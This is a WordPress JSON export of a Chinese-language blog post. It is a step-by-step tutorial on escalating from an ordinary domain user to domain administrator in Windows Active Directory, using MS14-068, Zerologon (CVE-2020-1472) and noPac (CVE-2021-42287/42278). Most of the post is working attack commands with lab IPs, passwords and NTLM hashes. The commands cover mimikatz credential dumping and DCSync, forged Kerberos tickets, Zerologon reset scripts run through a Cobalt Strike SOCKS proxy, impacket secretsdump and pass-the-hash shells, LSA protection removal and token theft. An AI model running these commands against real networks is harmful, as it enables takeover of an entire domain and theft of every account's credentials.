{"id":2494,"date":"2025-05-11T20:46:28","date_gmt":"2025-05-11T12:46:28","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2494"},"modified":"2025-05-11T20:46:30","modified_gmt":"2025-05-11T12:46:30","slug":"03-%e5%9f%9f%e5%86%85%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/05\/11\/03-%e5%9f%9f%e5%86%85%e6%9d%83%e9%99%90%e6%8f%90%e5%8d%87\/","title":{"rendered":"03.\u57df\u5185\u6743\u9650\u63d0\u5347"},"content":{"rendered":"

\u4e00\u3001\u57df\u63d0\u6743\u7b80\u4ecb<\/h1>\n

\u57df\u73af\u5883\u63d0\u6743\uff0c\u5c31\u662f\u4ece\u666e\u901a\u57df\u7528\u6237\u6743\u9650\u5230\u57df\u63a7\u7ba1\u7406\u6743\u9650
\n\u57df\u6e17\u900f\u7684\u4e3b\u8981\u76ee\u6807\u5c31\u662f\u62ff\u4e0b\u57df\u63a7\u7ba1\u7406\u6743\u9650\uff0c\u62ff\u4e0b\u57df\u63a7\u5236\u5668\uff0c\u8fdb\u800c\u62ff\u4e0b\u6574\u4e2a\u57df<\/p>\n

\u4e8c\u3001MS14-068<\/h1>\n

\uff081\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h2>\n

\u8be5\u6f0f\u6d1e\u53ef\u80fd\u5141\u8bb8\u653b\u51fb\u8005\u5c06\u672a\u7ecf\u6388\u6743\u7684\u57df\u7528\u6237\u8d26\u6237\u7684\u6743\u9650,\u63d0\u6743\u5230\u57df\u7ba1\u7406\u5458\u7684\u6743\u9650\u3002<\/p>\n

\uff082\uff09\u6f0f\u6d1e\u539f\u7406<\/h2>\n

\u670d\u52a1\u7968\u636e\u662f\u5ba2\u6237\u7aef\u76f4\u63a5\u53d1\u9001\u7ed9\u670d\u52a1\u5668\uff0c\u5e76\u8bf7\u6c42\u670d\u52a1\u8d44\u6e90\u7684\u3002\u5982\u679c\u670d\u52a1\u5668\u6ca1\u6709\u5411\u57df\u63a7DC\u9a8c\u8bc1PAC\u7684\u8bdd\uff0c\u90a3\u4e48\u5ba2\u6237\u7aef\u53ef\u4ee5\u4f2a\u9020\u57df\u7ba1\u7684\u6743\u9650\u6765\u8bbf\u95ee\u670d\u52a1\u5668\u3002<\/p>\n

\uff083\uff09\u5229\u7528\u6761\u4ef6<\/h2>\n
    \n
  1. \u57df\u63a7\u6ca1\u6709\u5b89\u88c5MS14-068\u7684\u8865\u4e01KB3011780<\/li>\n
  2. \u62e5\u6709\u4e00\u53f0\u57df\u5185\u4e3b\u673a\u6743\u9650<\/li>\n
  3. \u5177\u6709\u666e\u901a\u57df\u7528\u6237\u5bc6\u7801\u3001Hash\u503c\u4ee5\u53ca\u7528\u6237SUI<\/li>\n<\/ol>\n

    \uff084\uff09\u6f0f\u6d1e\u5229\u7528<\/h2>\n

    1\uff09\u6f0f\u6d1e\u68c0\u6d4b<\/h3>\n

    \u67e5\u770b\u662f\u5426\u5b89\u88c5 KB3011780\u8865\u4e01\u6765\u5224\u65ad\u662f\u5426\u5b58\u5728\u6f0f\u6d1e\uff0c\u4e00\u822c\u5728\u57df\u4e2d\u8865\u4e01\u90fd\u662f\u6279\u91cf\u5b89\u88c5\u7684<\/p>\n

    wmic qfe\n<\/code><\/pre>\n
    2\uff09\u83b7\u53d6\u57df\u7528\u6237SID<\/h3>\n
    \u57df\u7528\u6237SID: S-1-5-21-2458611878-403290033-2860276015-500\n<\/code><\/pre>\n
    \"Pasted<\/p>\n
    3\uff09\u83b7\u53d6\u57df\u7528\u6237Hash<\/h3>\n
    \u573a\u666f\u4e00\uff1a\u5f97\u5230\u57df\u666e\u901a\u7528\u6237\u6743\u9650
    \n\u7531\u4e8e\u662f\u57df\u666e\u901a\u7528\u6237\uff0c\u60f3\u8981\u83b7\u53d6 \u76f4\u63a5\u6267\u884c Hash\u503c\uff0c\u9700\u8981\u63d0\u6743\u5230 SYSTEM\u6743\u9650
    \n\u76f4\u63a5\u6267\u884cgetsystem \u65e0\u6cd5\u63d0\u6743\uff0c\u9700\u8981\u901a\u8fc7\u63d0\u6743\u6f0f\u6d1e\u5f97\u5230 SYSTEM\u6743\u9650\uff0c\u8fd9\u91cc\u6211\u4eec\u901a\u8fc7ms15-051 \u5f97\u5230SYSTEM\u6743\u9650\u7684 beacon
    \n\"Pasted<\/p>\n
      \n
    • \u83b7\u53d6Hash<\/li>\n<\/ul>\n
      hashdump\n<\/code><\/pre>\n
      \"Pasted<\/p>\n
        \n
      • \u83b7\u53d6\u5bc6\u7801<\/li>\n<\/ul>\n
        logonpasswords\n<\/code><\/pre>\n
        \"Pasted<\/p>\n
        \u573a\u666f\u4e8c\uff1a\u5f97\u5230\u4e3b\u673a\u672c\u5730\u7ba1\u7406\u5458\u6743\u9650<\/p>\n
          \n
        1. \u7ba1\u7406\u5458\u6743\u9650\u6267\u884c hashdump \u83b7\u53d6\u4e3b\u673a\u7528\u6237 hash \u503c<\/li>\n
        2. \u6267\u884c getsystem \u5f97\u5230\u7ba1\u7406\u5458\u6743\u9650\uff0c\u6267\u884c logonpasswords \u83b7\u53d6\u4e3b\u673a\u7528\u6237\u660e\u6587\u5bc6\u7801\uff0c\u4ece\u800c\u5f97\u5230\u666e\u901a\u57df\u7528\u6237\u8d26\u53f7\u5bc6\u7801<\/li>\n
        3. \u901a\u8fc7 CS \u7684 spawn as \u529f\u80fd\uff0c\u901a\u8fc7\u83b7\u5f97\u7684\u666e\u901a\u57df\u7528\u6237\u8d26\u53f7\u5bc6\u7801\u4e0a\u7ebf\u57df\u7528\u6237\u6743\u9650 Beacon \u4f1a\u8bdd<\/li>\n<\/ol>\n
          4\uff09\u6e05\u9664\u5f53\u524d\u7528\u6237\u7968\u636e<\/h3>\n
          mimikatz kerberos::purge\n<\/code><\/pre>\n
          5\uff09\u751f\u6210\u8ba4\u8bc1\u8bc1\u4e66<\/h3>\n
          \u5229\u7528 MS14-068.exe\u63d0\u6743\u5de5\u5177\u751f\u6210\u4f2a\u9020\u7684 kerberos\u534f\u8bae\u8ba4\u8bc1\u8bc1\u4e66<\/p>\n
          shell MS14-068.exe -u de1ay@de1ay.com -s S-1-5-21-2756371121-2868759905-3853650604-1001 -p 1qaz@WSX -d 10.10.11.10\n<\/code><\/pre>\n
          6\uff09\u5199\u5165\u8ba4\u8bc1\u8bc1\u4e66<\/h3>\n
          \u5229\u7528 mimikatz.exe\u5c06\u8bc1\u4e66\u5199\u5165\uff0c\u4ece\u800c\u63d0\u5347\u4e3a\u57df\u7ba1\u7406\u5458<\/p>\n
          mimikatz kerberos::ptc TGT_de1ay@de1ay.com.ccache\n<\/code><\/pre>\n
          7\uff09\u9a8c\u8bc1\u57df\u7ba1\u7406\u6743\u9650<\/h3>\n
          \u518d\u6b21\u5217\u51fa\u57df\u63a7\u5236\u5668\u7684C\u76d8\u76ee\u5f55\uff0c\u6210\u529f\u8bbf\u95ee\u57df\u63a7\u7684C\u76d8\uff0c\u8bf4\u660e\u666e\u901a\u57df\u7528\u6237\u63d0\u6743\u6210\u529f<\/p>\n
          shell dir \\\\dc\\c$\n<\/code><\/pre>\n
          \"Pasted<\/p>\n
          \u4e09\u3001CVE-2020-1472 — Netlogon\u57df\u63d0\u6743<\/h1>\n
          \uff081\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h2>\n
          2020\u5e7408\u670812\u65e5\uff0c \u5fae\u8f6f\u5b98\u65b9\u53d1\u5e03\u4e86 NetLogon \u7279\u6743\u63d0\u5347\u6f0f\u6d1e\u7684\u98ce\u9669\u901a\u544a\u3002\u653b\u51fb\u8005\u901a\u8fc7NetLogon\uff08MS-NRPC\uff09\uff0c\u5efa\u7acb\u4e0e\u57df\u63a7\u95f4\u6613\u53d7\u653b\u51fb\u7684\u5b89\u5168\u901a\u9053\u65f6\uff0c\u53ef\u5229\u7528\u6b64\u6f0f\u6d1e\u83b7\u53d6\u57df\u7ba1\u8bbf\u95ee\u6743\u9650\u3002\u6210\u529f\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u8be5\u7f51\u7edc\u4e2d\u7684\u8bbe\u5907\u4e0a\u8fd0\u884c\u7ecf\u7279\u6b8a\u8bbe\u8ba1\u7684\u5e94\u7528\u7a0b\u5e8f\u3002<\/p>\n
          \uff082\uff09\u5f71\u54cd\u8303\u56f4<\/h2>\n
          Windows Server 2008 R2 for x64-based Systems Service Pack 1
          \nWindows Server 2012
          \nWindows Server 2016
          \nWindows Server 2019
          \nWindows Server, version 1903 (Server Core installation)
          \nWindows Server, version 1909 (Server Core installation)
          \nWindows Server, version 2004 (Server Core installation)<\/p>\n
          \uff083\uff09Zerologon\u811a\u672c\u5229\u7528<\/h2>\n
          1\uff09\u83b7\u53d6\u57df\u63a7\u4e3b\u673a\u540d\u79f0<\/h3>\n
          \u901a\u8fc7\u83b7\u5f97 PC\u4e3b\u673a\u7684 Beacon\u4f1a\u8bdd\u6267\u884c\u5bf9\u5e94\u547d\u4ee4\uff0c\u5f97\u77e5\u57df\u63a7\u5236\u5668\u8ba1\u7b97\u673a\u7528\u6237\u540d\u79f0DC$<\/code><\/p>\n
          net group "domain controllers" \/domain\n<\/code><\/pre>\n
          \"Pasted<\/p>\n
          net view\n\nshell nslookup DC\n<\/code><\/pre>\n
          \"Pasted<\/p>\n
          2\uff09\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6f0f\u6d1e<\/h3>\n
            \n
          • \u542f\u52a8Socks\u4ee3\u7406<\/li>\n<\/ul>\n
            socks 1080 socks5\n<\/code><\/pre>\n
            \"Pasted<\/p>\n
              \n
            • \n
              \u914d\u7f6eproxychains\u4ee3\u7406<\/p>\n<\/li>\n
            • \n
              \u901a\u8fc7Socks\u4ee3\u7406\u8fdb\u884c\u6f0f\u6d1e\u68c0\u6d4b<\/p>\n<\/li>\n<\/ul>\n
              proxychains python zerologon_tester.py DC 10.10.10.10\n<\/code><\/pre>\n
              3\uff09\u5229\u7528\u6f0f\u6d1e\u91cd\u7f6e\u57df\u8d26\u53f7<\/h3>\n
                \n
              • \u901a\u8fc7Socks\u4ee3\u7406\u8fdb\u884c\u6f0f\u6d1e\u5229\u7528<\/li>\n<\/ul>\n
                proxychains -q python CVE-2020-1472.py DC DC$ 10.10.10.10\n<\/code><\/pre>\n
                \"Pasted<\/p>\n
                \u8fd9\u65f6\u5019\u6211\u4eec\u53ef\u4ee5\u5728\u57df\u63a7\u4e3b\u673a\u4e0a\u67e5\u770b\u4e00\u4e0b DC$\u673a\u5668\u7528\u6237\u51ed\u8bc1\uff1a<\/p>\n
                mimikatz\nprivilege::debug\nlsadump::dcsync \/domain:mingy.local \/all \/csv\n<\/code><\/pre>\n
                \"Pasted<\/div>
                \n\u53ef\u4ee5\u770b\u5230DC$\u7684 Hash \u5df2\u88ab\u7f6e\u7a7a
                \n\"Pasted<\/p>\n
                4\uff09\u83b7\u53d6\u57df\u63a7\u7528\u6237Hash<\/h3>\n
                  \n
                • \u901a\u8fc7\u4ee3\u7406\u4f7f\u7528impacket-secretsdump<\/li>\n<\/ul>\n
                  proxychains -q impacket-secretsdump 'xingyu.local\/DC$@10.10.10.10' -no-pass\n<\/code><\/pre>\n
                  \"Pasted<\/p>\n
                    \n
                  • \u4e0a\u4f20\u4f7f\u7528secretsdump.exe<\/li>\n<\/ul>\n
                    shell secretsdump.exe mingy.local\/DC$@10.10.10.10 -no-pass\n<\/code><\/pre>\n
                    5\uff09\u4f7f\u7528Hash\u6a2a\u5411\u79fb\u52a8\u8fde\u63a5\u57df\u63a7<\/h3>\n
                    proxychains -q impacket-wmiexec -hashes aad3b435b51404eeaad3b435b51404ee:a70cfad7bea6351047b634c2df822b31 mingy\/administrator@10.10.10.10\n<\/code><\/pre>\n
                    \"Pasted<\/p>\n
                    6\uff09\u6062\u590d\u57df – \u83b7\u53d6Hash<\/h3>\n
                    \u56e0\u4e3a\u662f\u4f7f\u7528\u6f0f\u6d1e\u5c06hash\u7f6e\u7a7a\uff0c\u5e76\u6ca1\u6709\u4fee\u6539SAM\u6570\u636e\u5e93<\/p>\n
                      \n
                    • \u83b7\u53d6 SAM \u6570\u636e\u5e93<\/li>\n<\/ul>\n
                      # \u4fdd\u5b58\nreg save HKLM\\SYSTEM SYSTEM\nreg save HKLM\\SAM SAM\nreg save HKLM\\SECURITY SECURITY\n<\/code><\/pre>\n
                      \u5728\u83b7\u53d6\u7684shell\u91cc\u6267\u884c\u547d\u4ee4<\/p>\n
                      # \u4e0b\u8f7d\u6587\u4ef6\nlget SYSTEM\nlget SAM\nlget SECURITY\n\n# \u5220\u9664\ndel \/f SYSTEM\ndel \/f SAM\ndel \/f SECURITY\n<\/code><\/pre>\n
                        \n
                      • \u89e3\u5bc6 SAM \u6570\u636e\u5e93<\/li>\n<\/ul>\n
                        impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL\n<\/code><\/pre>\n
                        \"Pasted<\/p>\n
                          \n
                        • \u83b7\u5f97\u673a\u5668\u7528\u6237\u7684HASH:<\/li>\n<\/ul>\n
                          $MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:8110eee70801ff81cdc59941186ebee2\n<\/code><\/pre>\n
                          7\uff09\u6062\u590d\u57df – \u8fd8\u539fHash<\/h3>\n
                            \n
                          • \u901a\u8fc7\u4ee3\u7406\u6267\u884cpython\u811a\u672c<\/li>\n<\/ul>\n
                            proxychains -q python reinstall_original_pw.py DC 10.10.10.10 8110eee70801ff81cdc59941186ebee2\n<\/code><\/pre>\n
                              \n
                            • \u901a\u8fc7\u4e0a\u4f20\u6267\u884creinstall_original_pw.exe<\/li>\n<\/ul>\n
                              shell reinstall_original_pw.exe DC 10.10.10.10 8110eee70801ff81cdc59941186ebee2\n<\/code><\/pre>\n
                              \"Pasted<\/p>\n
                                \n
                              • \u5c1d\u8bd5\u5728\u57df\u63a7\u4e3b\u673a\u67e5\u770bDC$\u673a\u5668\u7528\u6237Hash
                                \n\"Pasted<\/li>\n<\/ul>\n
                                \uff084\uff09Mimikatz\u5229\u7528\u6f0f\u6d1e<\/h2>\n
                                1\uff09\u68c0\u6d4b\u662f\u5426\u5b58\u5728\u6f0f\u6d1e<\/h3>\n
                                mimikatz lsadump::zerologon \/target:10.10.10.10 \/account:DC$\n<\/code><\/pre>\n
                                \"Pasted<\/p>\n
                                2\uff09\u5229\u7528\u6f0f\u6d1e\u91cd\u7f6e\u57df\u8d26\u53f7<\/h3>\n
                                mimikatz lsadump::zerologon \/target:10.10.10.10 \/account:DC$ \/exploit\n<\/code><\/pre>\n
                                3\uff09\u83b7\u53d6\u57df\u63a7\u7528\u6237Hash<\/h3>\n
                                mimikatz lsadump::dcsync \/domain:xingyu.local \/dc:DC \/user:administrator \/authuser:DC$ \/authdomain:xingyu \/authpassword:"" \/authntlm\n<\/code><\/pre>\n
                                \"Pasted<\/p>\n
                                4\uff09\u5f97\u5230\u57df\u7ba1\u6743\u9650<\/h3>\n
                                \u5229\u7528\u57df\u7ba1\u7406\u5458Hash\u5f97\u5230\u57df\u7ba1\u6743\u9650\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u540e\u4f1a\u6253\u5f00\u4e00\u4e2a\u5177\u6709\u57df\u7ba1\u7406\u5458\u6743\u9650\u7684cmd.exe\u8fdb\u7a0b<\/p>\n
                                  \n
                                • \u83b7\u5f97SeDebugPrivilege\u6743\u9650<\/li>\n<\/ul>\n
                                  mimikatz privilege::debug\n<\/code><\/pre>\n
                                  \"Pasted<\/p>\n
                                  \u6ce8\u610f\uff1a\u56e0\u4e3a\u5f53\u524d beacon\u7528\u6237\u6743\u9650\u4e3a\u57df\u5185\u666e\u901a\u7528\u6237 XINGYU\\bob\uff0c\u9700\u8981\u6709\u7ba1\u7406\u5458\u6216\u8005SYSTEM\u6743\u9650\u624d\u80fd\u83b7\u5f97 SeDebugPrivilege \u6743\u9650\uff0c\u56e0\u6b64\u9700\u8981\u5728\u63d0\u6743\u64cd\u4f5c\u540e\u5f97\u5230\u7684system\u6743\u9650\u7684beacon\u4e2d\u6267\u884c\u672c\u6b65\u9aa4\u64cd\u4f5c<\/p>\n
                                    \n
                                  • \u8fdb\u884cHash\u6ce8\u5165<\/li>\n<\/ul>\n
                                    mimikatz sekurlsa::pth \/user:administrator \/domain:mingy \/rc4:7e9067ca378134e50512ab894de75517\n<\/code><\/pre>\n
                                    \"Pasted<\/p>\n
                                    \u6ce8\u610f\uff1a Win10\u73af\u5883\u4e0b\u9700\u8981\u7ed5\u8fc7 LSA Protection\uff0c\u8be5\u529f\u80fd\u9700\u8981 mimidrv.sys \u6587\u4ef6\u4f7f\u7528mimikatz\u7ed5\u8fc7 LSA Protection\u7684\u547d\u4ee4\u4e3a\uff1a<\/p>\n
                                    privilege::debug\n!+\n!processprotect \/process:lsass.exe \/remove\n<\/code><\/pre>\n
                                      \n
                                    • Token\u7a83\u53d6\u5f97\u5230\u57df\u7ba1\u6743\u9650
                                      \n\u901a\u8fc7\u7a83\u53d6\u5177\u6709\u57df\u7ba1\u6743\u9650\u7684cmd.exe\u8fdb\u7a0bToken\uff0c\u5f97\u5230\u57df\u7ba1\u6743\u9650\uff1a
                                      \n
                                      \"Pasted<\/div>
                                      \n\"Pasted<\/li>\n<\/ul>\n
                                      5\uff09\u6062\u590d\u57df\u5bc6\u7801<\/h3>\n
                                      shell reinstall_original_pw.exe DC 10.10.10.10 2f7ff113dc8e29e9e2394cdbd05bf2ae\n<\/code><\/pre>\n
                                      6\uff09\u4fee\u6539\u57df\u7ba1\u5bc6\u7801\uff08\u4e0d\u5efa\u8bae\uff09<\/h3>\n
                                      mimikatz lsadump::postzerologon \/target:10.10.10.10 \/account:DC$\n<\/code><\/pre>\n
                                      mimikatz\u4f1a\u5c06\u4fdd\u5b58\u5728\u57df\u4e2d\u7684\u51ed\u8bc1\u4ee5\u53ca\u6ce8\u518c\u8868\u3001lsass\u4e2d\u7684\u51ed\u8bc1\u540c\u65f6\u4fee\u6539\u4e3a "Waza1234\/Waza1234\/Waza1234\/" \uff0c\u8fd9\u6837\u4e0d\u5f71\u54cd\u57df\u63a7\u7684\u6b63\u5e38\u5de5\u4f5c\u3002<\/p>\n
                                      \u56db\u3001CVE-2021-42287\/CVE-2021-42278<\/h1>\n
                                      \uff081\uff09\u6f0f\u6d1e\u7b80\u4ecb<\/h2>\n
                                      1.CVE-2021-42278
                                      \n\u4e00\u822c\u6765\u8bf4\uff0c\u673a\u5668\u8d26\u53f7\u7684\u540d\u5b57\u5e94\u8be5\u4ee5$<\/code>\u7b26\u53f7\u7ed3\u5c3e\u7684\u3002\u4f8b\u5982 DC$\u8868\u793aDC\u8fd9\u53f0\u4e3b\u673a\u7684\u8d26\u6237\u540d\u3002\u4f46\u662f\u5fae\u8f6f\u53ea\u662f\u8fdb\u884c\u4e86\u89c4\u5b9a\uff0c\u5e76\u6ca1\u6709\u9a8c\u8bc1\u7a0b\u5e8f\u5bf9\u7528\u6237\u521b\u5efa\u7684\u7528\u6237\u540d\u8fdb\u884c\u9a8c\u8bc1\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u521b\u5efaDC\u7528\u6237\u540d\u5b8c\u5168\u662f\u53ef\u4ee5\u7684\u3002\uff08\u8fd9\u91cc\u6307\u7684\u662f\u673a\u5668\u8d26\u53f7\u7684 sAMAccountName\u5c5e\u6027\uff09<\/p>\n
                                      2.CVE-2021-42287
                                      \n\u7ed3\u5408\u4e0a\u9762\u90a3\u4e2a\u6f0f\u6d1e\uff0c\u5982\u679c\u521b\u5efa\u4e86\u4e00\u4e2a\u7528\u6237\u540d\u4e3aDC\u7684\u8d26\u6237\uff0c\u6b64\u65f6\u4f7f\u7528\u8fd9\u4e2a\u8d26\u6237\u53bb\u7533\u8bf7\u4e00\u5f20TGT\uff08\u7968\u636e\u6388\u4e88\u7968\u636e\uff09\u7968\u636e\uff0c\u7136\u540e\u5728\u7533\u8bf7ST\uff08\u670d\u52a1\u7968\u636e\uff09\u4e4b\u524d\uff0c\u5c06\u8fd9\u4e2a\u8d26\u6237\u540d\u4fee\u6539\u6389\u6216\u8005\u5220\u9664\u6389\uff0c\u90a3\u4e48\u5728\u8fdb\u884c\u7533\u8bf7ST\u7684\u65f6\u5019\uff0cKDC\u5728\u8fdb\u884c\u9a8c\u8bc1\u65f6\u5c31\u67e5\u4e0d\u5230\u8fd9\u4e2a\u8d26\u6237\uff0c\u6b64\u65f6KDC\u5c31\u4f1a\u53bb\u67e5\u627eDC$<\/code>\u8fd9\u4e2a\u8d26\u6237\uff0c\u5982\u679c\u8fd9\u4e2a\u8d26\u6237\u5b58\u5728\u7684\u8bdd\uff0c\u6700\u7ec8\u8fd4\u56de\u7684\u5c31\u662f DC$\u8fd9\u4e2a\u8d26\u6237\u7533\u8bf7\u7684ST\u3002\u4e5f\u5c31\u76f8\u5f53\u4e8e\u83b7\u53d6\u5230\u4e86\u57df\u63a7\u8d26\u6237\u7533\u8bf7\u7684\u9ad8\u6743\u9650\u670d\u52a1\u7968\u636e\u3002<\/p>\n
                                      \uff082\uff09\u5f71\u54cd\u8303\u56f4<\/h2>\n
                                      Windows Server 2012 R2 (Server Core installation)
                                      \nWindows Server 2012 R2
                                      \nWindows Server 2012 (Server Core installation)
                                      \nWindows Server 2012
                                      \nWindows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
                                      \nWindows Server 2008 R2 for x64-based Systems Service Pack 1
                                      \nWindows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
                                      \nWindows Server 2008 for x64-based Systems Service Pack 2
                                      \nWindows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
                                      \nWindows Server 2008 for 32-bit Systems Service Pack 2
                                      \nWindows Server 2016 (Server Core installation)
                                      \nWindows Server 2016
                                      \nWindows Server, version 20H2 (Server Core Installation)
                                      \nWindows Server, version 2004 (Server Core installation)
                                      \nWindows Server 2022 (Server Core installation)
                                      \nWindows Server 2022
                                      \nWindows Server 2019 (Server Core installation)
                                      \nWindows Server 2019<\/p>\n
                                      \uff083\uff09\u6f0f\u6d1e\u5229\u7528<\/h2>\n
                                      1\uff09\u83b7\u5f97\u4e00\u4e2a\u57df\u7528\u6237\u6743\u9650<\/h3>\n
                                      \u901a\u8fc7\u83b7\u5f97PC\u4e3b\u673a\u7684Beacon\u4f1a\u8bdd\uff0c\u4f7f\u7528\u63d0\u6743\u6f0f\u6d1e\u5f97\u5230SYSTEM\u6743\u9650\uff0c\u6267\u884clogonpasswords<\/code>\uff0c\u5f97\u5230\u57df\u7528\u6237\u5bc6\u7801\u3002<\/p>\n
                                      2\uff09\u83b7\u53d6DC\u7684Shell<\/h3>\n
                                        \n
                                      • sam-the-admin<\/li>\n<\/ul>\n
                                        proxychains -q python sam_the_admin.py "xingyu\/bob:3wsx@edc" -dc-ip 10.10.10.10 -shell\n<\/code><\/pre>\n
                                        \"Pasted<\/p>\n
                                          \n
                                        • noPac<\/li>\n<\/ul>\n
                                          proxychains -q python noPac.py -use-ldap xingyu.local\/bob:3wsx@edc -dc-ip 10.10.10.10 -shell\n<\/code><\/pre>\n
                                          \"Pasted<\/p>\n","protected":false},"excerpt":{"rendered":"
                                          \u4e00\u3001\u57df\u63d0\u6743\u7b80\u4ecb \u57df\u73af\u5883\u63d0\u6743\uff0c\u5c31\u662f\u4ece\u666e\u901a\u57df\u7528\u6237\u6743\u9650\u5230\u57df\u63a7\u7ba1\u7406\u6743\u9650 \u57df\u6e17\u900f\u7684\u4e3b\u8981\u76ee\u6807\u5c31\u662f\u62ff\u4e0b\u57df\u63a7\u7ba1\u7406\u6743\u9650\uff0c\u62ff\u4e0b\u57df\u63a7 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66,9],"tags":[],"class_list":["post-2494","post","type-post","status-publish","format-standard","hentry","category-66","category-9"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2494","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2494"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2494\/revisions"}],"predecessor-version":[{"id":2495,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2494\/revisions\/2495"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2494"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2494"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2494"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}